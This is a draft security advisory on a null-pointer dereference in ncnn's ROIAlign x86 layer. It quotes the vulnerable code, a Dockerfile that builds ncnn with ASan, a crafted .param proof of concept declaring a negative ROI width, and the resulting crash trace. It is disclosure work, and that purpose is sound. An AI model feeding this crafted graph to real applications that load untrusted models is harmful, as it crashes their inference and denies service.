All advisories
Draft

ROIAlign Null Dereference

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

ROIAlign Null Dereference

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/roialign_x86.cpp:224 in ROIAlign_x86::forward
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x55c014fcaed0 bp 0x7ffd5a9e0cc0 sp 0x7ffd5a9e05c0 T0)

Summary

A crafted .param graph can declare the ROIAlign region-of-interest input with a negative width. Mat::create allocates nothing for such a shape, so the blob reaches the layer with a null data pointer, and ROIAlign_x86::forward reads four floats out of it without ever checking that it holds anything. The result is a null-pointer read that terminates ncnnoptimize during shape inference — and the same code path serves ordinary x86 CPU inference, so any application running an attacker-supplied graph is affected.

Detail

The untrusted field is parameter id 0 (w) of the second Input layer, which becomes the ROI tensor. ModelWriter::shape_inference turns each Input layer's declared dimensions into a real tensor and feeds it to the extractor:

// tools/modelwriter.h:367
        ncnn::Input* input = (ncnn::Input*)layer;

        int w = input->w;
        int h = input->h;
        int d = input->d;
        int c = input->c;

        int dims = 0;
        if (w == 0 && h == 0 && d == 0 && c == 0) dims = 0;
        if (w != 0 && h == 0 && d == 0 && c == 0) dims = 1;
        if (w != 0 && h != 0 && d == 0 && c == 0) dims = 2;
        if (w != 0 && h != 0 && d == 0 && c != 0) dims = 3;
        if (w != 0 && h != 0 && d != 0 && c != 0) dims = 4;

        if (dims == 0)
        {
            fprintf(stderr, "Input layer %s without shape info, shape_inference skipped\n", layer->name.c_str());
            return -1;
        }

        ncnn::Mat m;
        if (dims == 1) m.create(w);
        if (dims == 2) m.create(w, h);
        if (dims == 3) m.create(w, h, c);
        if (dims == 4) m.create(w, h, d, c);

        ex.input(layer->tops[0], m);

With w == -1, dims is 1 and m.create(-1) runs Mat::create at src/mat.cpp:299, where cstep = alignSize(w * elemsize, 16) / elemsize rounds -4 up to 0. totalsize is therefore 0, no buffer is allocated, and data stays NULL. Nothing rejects the negative extent — Input::load_param stores it as-is and create silently produces an empty Mat.

ROIAlign_x86::forward receives that Mat as bottom_blobs[1], converts it to a raw pointer with no emptiness test, and dereferences the first four elements:

// src/layer/x86/roialign_x86.cpp:206
int ROIAlign_x86::forward(const std::vector<Mat>& bottom_blobs, std::vector<Mat>& top_blobs, const Option& opt) const
{
    const Mat& bottom_blob = bottom_blobs[0];
    const int width = bottom_blob.w;
    const int height = bottom_blob.h;
    const size_t elemsize = bottom_blob.elemsize;
    const int channels = bottom_blob.c;

    const Mat& roi_blob = bottom_blobs[1];

    Mat& top_blob = top_blobs[0];
    top_blob.create(pooled_width, pooled_height, channels, elemsize, opt.blob_allocator);
    if (top_blob.empty())
        return -100;

    // For each ROI R = [x y w h]: max pool over R
    const float* roi_ptr = roi_blob;

    float roi_start_w = roi_ptr[0] * spatial_scale;
    float roi_start_h = roi_ptr[1] * spatial_scale;
    float roi_end_w = roi_ptr[2] * spatial_scale;
    float roi_end_h = roi_ptr[3] * spatial_scale;

The PoC declares Input roi 0 1 roi 0=-1 and wires it as the second bottom of ROIAlign roialign 2 1 feature roi output. roi_ptr is NULL, so line 224 evaluates ((const float*)NULL)[0] * spatial_scale. The layer does check top_blob.empty() on line 219 for its own output allocation, but performs no equivalent check on either input; the stack trace lands in roialign_x86_avx512.cpp, the AVX-512 translation unit generated from this same source file.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-roialign-null-dereference && cd ncnn-poc-roialign-null-dereference

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
3 3
Input feature 0 1 feature 0=2 1=2 2=1
Input roi 0 1 roi 0=-1
ROIAlign roialign 2 1 feature roi output 0=1 1=1 2=1 3=0 4=0 5=0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5db1930f1ed0 bp 0x7ffff64bc670 sp 0x7ffff64bbf70 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5db1930f1ed0 in ncnn::ROIAlign_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/roialign_x86_avx512.cpp:224
    #1 0x5db18d70e70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #2 0x5db18d6f6b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x5db18d7569e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x5db18d5e83c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x5db18d665eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x772b1673b1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x772b1673b28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5db18d5e5624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/roialign_x86_avx512.cpp:224 in ncnn::ROIAlign_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst